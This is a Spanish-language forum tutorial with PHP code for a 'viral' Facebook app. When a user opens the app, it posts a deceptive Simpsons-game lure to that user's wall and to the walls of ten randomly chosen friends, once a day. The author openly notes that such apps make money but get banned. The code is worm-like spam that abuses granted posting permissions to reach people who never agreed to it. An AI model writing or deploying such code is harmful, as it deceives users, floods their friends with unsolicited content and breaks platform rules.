Cicklow
Seguir
- Seguidores
- 14
Admin
Épsilon
Verificado
Verificación en dos pasos activada
Verificado por Whatsapp
¡Ha verificado su Paypal!
¡Usuario popular!
Suscripción a IA
- Desde
- 30 May 2011
- Mensajes
- 968
En este nuevo ejemplo programaremos una aplicación viral (esto es pan para hoy hambre para mañana XD)
Usaremos el mismo código de [APPS] Crear aplicaciones en un iframe, pero editaremos el index.php para que funcione como queremos.
Usaremos permisos especiales: publish_stream, para publicar en el muro
Lo que hace la aplicacion es, cuando el usuario accede se publica en el muro del usuario y tambien se le publica a 10 amigos al azar en sus muros. Para que no le publique constantemente en el muro usaremos cookies, que duran 1 dia (24 horas).
Lo que publicaremos
Ahora la parte Viral
Usando el 1 tutorial mas este agregado tendremos una linda apps viral (lo de pan para hoy y hambre para mañana es porque estas apps generan ingresos y usuarios pero son facilmente baneadas)
Saludos
PD: La api de facebook cambio. En index.php editan:
por
y en config.php cambia:
por
y
por
Usaremos el mismo código de [APPS] Crear aplicaciones en un iframe, pero editaremos el index.php para que funcione como queremos.
Usaremos permisos especiales: publish_stream, para publicar en el muro
Lo que hace la aplicacion es, cuando el usuario accede se publica en el muro del usuario y tambien se le publica a 10 amigos al azar en sus muros. Para que no le publique constantemente en el muro usaremos cookies, que duran 1 dia (24 horas).
PHP:
<?php
//Verificamos las cookies
$_E = false;
if($_COOKIE['YaTA']=="cicklow") $_E = true; else setcookie("YaTA", "cicklow", (time()+3600*24));
//Header especiales para Cookies en IFRAMES
header('P3P:CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"');
//Nuestra config
include('config.php');
?>
Lo que publicaremos
PHP:
$_P['message'] = '';
$_P['caption'] = '.';
$_P['description'] = '';
$_P['picture'] = 'http://www.seriesadictos.com/wp-content/uploads/2008/06/los-simpson.jpg'; //Imagen
$_P['link'] = 'http://apps.facebook.com/aplicacion/'; //URL Apps
$_P['name'] = 'Juega al nuevo juego de los simpsons.'; //Texto
Ahora la parte Viral
PHP:
//Parte Viral de nuestra apps
if($_E){
//Publicamos en el muro del user
$me = $facebook->api('/'.$facebook->getUser().'/feed','post',$_P);
//Publicamos en el muro de los amigos!
$fi = $facebook->api('/me/friends/');
$fi = $fi['data'];
shuffle($fi);
for($i=0;$i<10;$i++){
try{
if($fi[$i]['id']!="") $postear = $facebook->api('/'.$fi[$i]['id'].'/feed', 'post',$_P);
echo "<!-- ID ".$fi[$i]['id']." //-->";
} catch (Exception $e) { }
}
}
Usando el 1 tutorial mas este agregado tendremos una linda apps viral (lo de pan para hoy y hambre para mañana es porque estas apps generan ingresos y usuarios pero son facilmente baneadas)
Saludos
PD: La api de facebook cambio. En index.php editan:
PHP:
if (!is_array($session)) {
PHP:
if (!$session) {
y en config.php cambia:
PHP:
function redirect($PERMS="") { //function for use later on
global $facebook;
$loginUrl=$facebook->getLoginUrl(array(
'canvas'=>1,
'fbconnect'=>0,
'display'=>'page',
'next'=>FAC,
'cancel_url'=>FAC,
'req_perms'=>$PERMS,
));
return $loginUrl;
exit();
} // end redirect function
PHP:
function redirect($PERMS="") { //function for use later on
global $facebook;
$loginUrl=$facebook->getLoginUrl(array(
'canvas'=>1,
'fbconnect'=>0,
'display'=>'page',
'next'=>FAC,
'cancel_url'=>FAC,
'scope'=>$PERMS,
));
return $loginUrl;
exit();
} // end redirect function
y
PHP:
$session = $facebook->getSession();
PHP:
$session = $facebook->getUser();
Adjuntos
Última edición: